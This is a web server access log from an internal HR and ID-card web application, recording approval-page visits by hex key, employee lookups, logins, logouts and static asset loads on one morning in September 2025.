192.168.185.139 - - [05/Sep/2025:10:50:43 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FB1F29B715D21131407A306F0B201D4F5CFA875B519C5545864A2FD4545697967524481E744129281 HTTP/1.1" 200 4343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:50:43 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FB1F29B715D21131407A306F0B201D4F5CFA875B519C5545864A2FD4545697967524481E744129281 HTTP/1.1" 200 4343
192.168.185.139 - - [05/Sep/2025:10:50:44 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:50:44 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FB1F29B715D21131407A306F0B201D4F5CFA875B519C5545864A2FD4545697967524481E744129281" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:50:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245
192.168.11.136 - - [05/Sep/2025:10:50:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:50:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245
100.64.0.1 - - [05/Sep/2025:10:50:53 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1E93986928FDDAA7174D22721F3A3767FDAE690D220EEC3FFC742CFE135203BF65C76E0724F6A7AA9AC5851CB40C1FB2FD440BADEF78ED260 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:50:53 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1E93986928FDDAA7174D22721F3A3767FDAE690D220EEC3FFC742CFE135203BF65C76E0724F6A7AA9AC5851CB40C1FB2FD440BADEF78ED260 HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:50:53 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1E93986928FDDAA7174D22721F3A3767FDAE690D220EEC3FFC742CFE135203BF65C76E0724F6A7AA9AC5851CB40C1FB2FD440BADEF78ED260 HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:50:53 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1E93986928FDDAA7174D22721F3A3767FDAE690D220EEC3FFC742CFE135203BF65C76E0724F6A7AA9AC5851CB40C1FB2FD440BADEF78ED260 HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:50:54 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:50:54 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1E93986928FDDAA7174D22721F3A3767FDAE690D220EEC3FFC742CFE135203BF65C76E0724F6A7AA9AC5851CB40C1FB2FD440BADEF78ED260" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:50:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 10245
100.64.0.1 - - [05/Sep/2025:10:51:02 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87D5C6C5134236E27F8E1B780201DA5B711441CC95FFF7B431B025F7AF60D83C25EC8BD4427D3D85D9CB872BE21603E8F3076003ABAC455856 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:51:02 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87D5C6C5134236E27F8E1B780201DA5B711441CC95FFF7B431B025F7AF60D83C25EC8BD4427D3D85D9CB872BE21603E8F3076003ABAC455856 HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:51:02 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87D5C6C5134236E27F8E1B780201DA5B711441CC95FFF7B431B025F7AF60D83C25EC8BD4427D3D85D9CB872BE21603E8F3076003ABAC455856 HTTP/1.1" 200 4202
192.168.185.139 - - [05/Sep/2025:10:51:02 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87D5C6C5134236E27F8E1B780201DA5B711441CC95FFF7B431B025F7AF60D83C25EC8BD4427D3D85D9CB872BE21603E8F3076003ABAC455856 HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:51:03 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:51:03 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D5C6C5134236E27F8E1B780201DA5B711441CC95FFF7B431B025F7AF60D83C25EC8BD4427D3D85D9CB872BE21603E8F3076003ABAC455856" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:51:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 13063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:51:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 13063
100.64.0.1 - - [05/Sep/2025:10:51:11 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8FC14825F4C7A6D4B501DC18012013C2266848BE880FE972DC2459F45520CAA49 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:51:11 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8FC14825F4C7A6D4B501DC18012013C2266848BE880FE972DC2459F45520CAA49 HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:51:12 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8FC14825F4C7A6D4B501DC18012013C2266848BE880FE972DC2459F45520CAA49 HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:51:12 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8FC14825F4C7A6D4B501DC18012013C2266848BE880FE972DC2459F45520CAA49 HTTP/1.1" 200 4202
192.168.185.139 - - [05/Sep/2025:10:51:13 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:51:13 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8FC14825F4C7A6D4B501DC18012013C2266848BE880FE972DC2459F45520CAA49" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:51:17 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8CE5EC8A05D9273BB1F1E24D7DD94E1352F6E09867CB75BF1C23477AB8FF10F7F HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:51:17 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8CE5EC8A05D9273BB1F1E24D7DD94E1352F6E09867CB75BF1C23477AB8FF10F7F HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:51:18 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8CE5EC8A05D9273BB1F1E24D7DD94E1352F6E09867CB75BF1C23477AB8FF10F7F HTTP/1.1" 200 4202
192.168.185.139 - - [05/Sep/2025:10:51:18 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8CE5EC8A05D9273BB1F1E24D7DD94E1352F6E09867CB75BF1C23477AB8FF10F7F HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:51:18 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:51:18 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E872A7B816192AF4692D457B13665F11EB15DE660FE96FADDF8CE5EC8A05D9273BB1F1E24D7DD94E1352F6E09867CB75BF1C23477AB8FF10F7F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:51:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:51:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 24844
100.64.0.1 - - [05/Sep/2025:10:51:37 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [05/Sep/2025:10:51:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:52:46 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:52:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:52:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:10:52:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:10:53:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:53:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.148 - - [05/Sep/2025:10:55:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:55:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 -
192.168.11.148 - - [05/Sep/2025:10:55:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [05/Sep/2025:10:55:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:55:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [05/Sep/2025:10:55:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [05/Sep/2025:10:56:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [05/Sep/2025:10:56:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [05/Sep/2025:10:56:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.148 - - [05/Sep/2025:10:56:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10633 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:10:56:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10633
192.168.11.222 - - [05/Sep/2025:10:59:05 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121
192.168.11.222 - - [05/Sep/2025:10:59:05 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:10:59:06 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [05/Sep/2025:10:59:06 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
